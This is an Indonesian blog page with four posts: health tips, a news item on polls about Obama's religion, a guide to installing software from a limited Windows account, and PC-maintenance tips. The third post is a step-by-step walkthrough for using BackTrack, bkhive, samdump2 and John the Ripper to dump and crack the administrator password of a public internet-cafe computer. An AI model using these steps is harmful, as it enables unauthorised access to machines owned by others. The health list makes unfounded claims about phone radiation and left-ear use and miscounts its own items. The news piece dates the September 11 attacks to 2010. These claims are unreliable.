11 CARA MUDAH UNTUK HIDUP SEHAT

11 CARA MUDAH UNTUK HIDUP SEHAT

1. Gunakan telinga kiri untuk berbicara di telepon
2. Jangan minum kopi lebih dari satu kali sehari
3. Jangan Minum Pil (obat) dengan air dingin
4. Jangan makan dengan porsi besar diatas jam 6 sore
5. Kurangi porsi minum teh yang anda lakukan setiap hari
6. Kurangi minyak-minyakan yang anda konsumsi
7. Minum banyak air putih di pagi hari dan kurangi di
malam hari
8. Jangan menggunakan handphone ketika di-charging
9. Jangan gunakan Headphone/earphone dalam jangka
waktu yang lama
10. Waktu terbaik untuk tidur adalah mulai pukul 10
malam sampai pukul 5 pagi
11. Jangan langsung tidur setelah minum obat
12. Ketika batere handphone anda sudah terlihat digrid
terakhir, usahakan jangan lagi menggunakan untuk
menelpon, karena radiasi yang lebih besar.

COBALAH UNTUK HIDUP SEHAT MULAI DARI SEKARANG!!!

Read more »

Agama Obama

yahoo news - agama obama

VIVAnews - Presiden Amerika Serikat (AS), Barack Obama, adalah seorang Nasrani. Pernyataan Gedung Putih ini menepis anggapan warga AS yang menduga keras Obama seorang muslim.

"Presiden jelasnya adalah seorang Nasrani. Dia berdoa setiap hari," kata juru bicara Gedung Putih, Bill Burton, Kamis 19 Agustus 2010.

Makin bertambahnya warga AS yang merasa bahwa Obama bukanlah seorang Nasrani diketahui dari hasil survei.

Menurut survei dari Pew Research Center dan Pew Forum on Religion & Public Life, jumlah responden yang menilai Obama adalah muslim kini sebanyak 18 persen dari total partisipan. Jumlah itu meningkat tujuh persen dari hasil survei Maret 2009.

Pada survei yang sama, jumlah respoden yang yakin bahwa Obama adalah umat Kristen kini hanya 34 persen, padahal tahun lalu sebesar 48 persen. Menariknya lagi, sebanyak 43 persen responden saat ini mengaku tidak tahu agama apa yang dianut Obama.

Survei Majalah Time/ABT SRBI, yang berlangsung 16-17 Agustus lalu, mengungkapkan bahwa 47 persen responden menganggap Obama adalah Nasrani, sedangkan 24 persen percaya dia Muslim, sedangkan 24 persen mengaku tidak tahu atau tidak memberi jawaban.

Menurut kalangan media massa di AS, pandangan respoden atas keyakinan Obama itu terkait dengan dukungannya atas pembangunan suatu masjid di kawasan Manhattan, New York. Saat mengadakan acara buka puasa di Gedung Putih, Jumat 13 Agustus 2010, Obama menyatakan bahwa Islam merupakan bagian dari Amerika dan umat Muslim berhak mendirikan tempat ibadah di manapun, termasuk di Manhattan.

Namun, kendati juga didukung oleh walikota New York, pembangunan masjid itu ditentang oleh sebagian publik dan kalangan politisi dari Partai Republik. Menurut mereka, pembangunan itu dibenarkan karena dekat dengan kawasan "Ground Zero. "Lokasi itu dulunya adalah kompleks menara kembar World Trade Center, yang hancur akibat serangan teroris al-Qaida pada Tragedi 11 September 2010, yang menewaskan sekitar 3.000 jiwa.

Menurut pengamat, mereka yang tidak senang dengan dukungan Obama atas pembangunan masjid itu lalu mencoba menciptakan opini di kalangan masyarakat untuk mempertanyakan identitas dan latar belakang Obama.

"Situasi ini mencerminkan makin intensifnya pandangan negatif atas Obama dari kalangan pengritik," kata Andrew Cohut, direktur Pew Research Center.

Presiden AS sejak 20 Januari 2009 ini memiliki latar belakang yang "warna-warni." Bernama lengkap Barack Hussein Obama, ayahnya adalah seorang Muslim asal Kenya dan ibunya adalah Nasrani Amerika.

Sejak kecil, Obama dibesarkan oleh ibunya, Ann Dunham, dan orang tua dari ibunya. Pada umur 6 hingga 10 tahun, Obama tinggal di Indonesia bersama dengan ibu dan ayah tirinya, Lolo Soetoro. (Associated Press)

Read more »

Menginstal Software Dari User Limited

Saat saya sedang mengerjakan tugas yang diberikan oleh pembimbing saya diwarnet,,,,,

datang seorang pria berbadan besar mendekati saya,,, dalam hati saya degdegan kalaw-kalaw dY memalak saya...

Ternyata egh ternyata dy mendekat hanya untuk menanyakan kepada saya kenapa komputer yang dy pakai tidak bisa menginstal program,,,,

Kebetulan saya sudah punya caranya dan sekalian saya membantu dy,,,



I. Pertama, kita harus mengetahui password administratornya terlebih dahulu,,

disini saya menggunakan Linux Backtrack 2.0 namun yang 3.0/4.0 beta sudah ada

caranya adalah.....


1.Masukkan CD Linux BackTrack dan restart Komputer Anda.

2.Masuk ke bios dan atur booting dari CD-ROM Drive dan save bios dan exit. Setelah restart maka komputer akan menjalan CD Linux BackTrack maka tekan enter dan tunggu beberapa saat

3.Masukkan user login “root” dan password toor
Login : root
Password : toor
Setelah itu, ketikkan “mount” lalu tekan enter dan lihat hardisk mana yang diinstal windows (misal: /mnt/hda1). Untuk mengetahui dimana partisi windows berada ketikkan perintah “ls -l /mnt/nama_hardisk” contoh : ketik

# mount

# ls /mnt/hda1

Jika berhasil maka akan terdapat list direktori WINDOWS.

4.Lalu dengan menggunakan program bkhive kita akan mengopi file “system” yang berada di folder “/mnt/nama_hardisk/WINDOWS/system32/config/” dengan nama “my_syskey”, gunakan perintah “bkhive /mnt/nama_hardisk/WINDOWS/system32/config/system my_syskey”. Contoh :

# bkhive /mnt/hda1/WINDOWS/system32/config/system my_syskey

5.Selanjutnya kita akan menggunakan program samdunk2 untuk membaca file “sam” dan “system” dan menyimpannya ke dalam file “my_hash.txt”. Untuk itu gunakan perintah “samdump2 /mnt/nama_hardisk/WINDOWS/system32/config/sam my_syskey > my_hash.txt”. Contoh:

# samdump2 /mnt/hda1/WINDOWS/system32/config/sam my_syskey > my_hash.txt

6.Sekarang saatnya membaca file “my_hash.txt”, mula-mula gunakan perintah “cat my_hash.txt”

# cat my_hash.txt

Lalu Kita akan melihat user dengan password yang terencripsi. Untuk mendeskrip-sinya kita memerlukan program john yang terdapat pd folder “/pentest/password/john-1.7.2/ run” untuk itu gunakan perintah :

# /pentest/password/john-1.7.2/run/john my_hash.txt

tunggu beberapa saat, maka user dan password windows akan tampak. Catat user dan passwordnya dan restart komputer Anda dengan menggunakan perintah :

# shutdown -r now




II. Setelah tahu password dan usernya, kita login ke user yang di limited

III. Pilih software yang ingin kita install

IV. Klik kanan file tersebut dan pilih Run as...

V. Lalu pilih opsi The Following User, isi Usernya dengan nama administratornya dan isi Password yang tadi kita dapatkan

VI. Setelah itu, proses penginstalan akan berjalan sama seperti biasanya

Read more »

Tips Merawat komputer

Perkembangan Teknologi Informasi (TI) telah merubah cara hidup dan
kegiatan manusia. TI meningkatkan efisiensi dan performa kinerja.
Perkembangan TI dari zaman komputer mainframe sampai dengan Personal
Computer (PC) begitu pesat. PC Biasanya digunakan oleh home user.
Kinerja PC sama dan bahkan lebih baik dari generasi mainframe.
Kompatibilitas device sangat baik. Sedangkan harga, bentuk fisik,
aplikasi PC semakin beragam dan mudah ditemukan. Seperti alat-alat
elektronika dan otomotif, perlu dilakukan services/maintenences. Biaya
untuk itu pun tergolong mudah, murah, dan bahkan gratis.
Tahapan Tips Merawat Merawat & Optimasi PC dapat dilakukan sebagai
berikut:
Kenali sistem komputer anda, sebab informasi tersebut diperlukan disaat
service: a) Lakukan Inventaris komputer, b) Cek peralatan dan aplikasi
yang digunakan, dan d) Gunakan tools untuk mngumpulkan
informasi-informasi tersebut, misalnya Sisoft Sandra, Systems Works,
dll.
Buat system boot disk penyelamat disaat emergency, sistem crash, dan
terkena virus.
Hapus file sampah sebab file-file sampah memakan tempat yang dapat
menghambat kinerja PC seperti temp, bak, cookies, Browser History, dll.
Lakukan Defragmentasi Hard Disk. Gunakan tools defragmentasi di Windows
yang berguna untuk mengatur fragmentasi pada hardisk yang terjadi pada
saat install dan unistall. Untuk mempercepat akses data dan kinerja,
lakukan hal ini secara rutin (min 1 x sebulan).
Lakukan Scandisk Hard Disk. Scandisk berguna untuk mencek kerusakan
hardisk disaat sistem setelah crash/hang. Selain itu, lakukan pula
registry checker dengan tools.
Back up data dengan cara: a) Penyalinan data secara berkala, b) Backup
system dan aplikasi (system restore), dan c) Gunakan tools khusus
(Norton ghost, drive images).
Update Virus: a) Lakukan update database antivirus, b) Lakukan scanning
secara kontinu, c) Lakukan scanning file dari tempat lain. Ada banyak
antivirus yang tersedia mulai dari yang mahal sampai dengan gratis.
Update Operation System (OS) Windows: a) Update setiap minggu Windows
Update agar PC anda terbebas dari security hole (Celah keamanan).
Periksa Voltase Listrik: a) Perhatikan tegangan voltase, b) Gunakan
Regulator tegangan, c) Jika anda memiliki uang lebih, sediakan UPS.
Hindari Debu dengan menutupi PC dengan cover khusus, sebab debu dapat
mengakibatkan kerusakan. Dan jangan melakukan kegiatan lain didepan PC.
Shutdown sesuai procedure: a) Matikan komputer dengan benar, jika
tidak, akan mengakibatkan crash pada hardisk.
Optimalisasi PC Windows
Bisa jadi, lambatnya kondisi sistem Windows disebabkan oleh banyaknya
aplikasi yang terinstall sehingga kinerja PC semakin berkurang. Untuk
mengoptimalkan PC Windows anda, lakukan hal-hal berikut:
Setting Konfigurasi BIOS: a) Setting urutan boot dengan benar, b)
Disabled ‘Quick Power On Self-Test”, c) Disabled ‘Boot Virus
Detection”.
Start UP: a) Singkirkan setting yang tidak berguna, b) Bersihkan
aplikasi dari startup, c) Matikan grafik ‘awan’ (logo) pada Msdos.sys,
Msconfig.exe (windows 9x), Boot.ini (Windoxs XP),
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimize = Enable. d)
Matikan suara startup.
Rampingkan Registry dengan cara: a) Peras Registry Windows: Scanreg
/opt, Scanreg /fix, Scanreg /restore.
Atur Swap Memory dengan menggunakan Swap virtual memory dan
mengoptimalkan memory pada saat kekurangan.
Nonaktifkan Services: a) Mematikan beberapa layanan untuk mempercepat
akses sistem, b) Menutup lubang keamanan: Ex = com+, IPSec, RPC, Even
log, dll.
Lakukan benchmarking untuk mengukur kemampuan PC anda: a) Lakukan tes
kehandalan performa, b) TWEAK XP, c) Gunakan tools benchmarking yang
ada, misalnya: Sisoft sandra, Dr. Hardware, PC Analyser, 3DMark 2002,
Quake 3 Arena, HDTach, DataAdvisor, dll.
Dengan merawat & mengoptimalkan PC, anda dapat melakukan
tugas-tugas dan mengerjakan semua keinginan melalui PC anda secara
maksimal dan cepat.

Read more »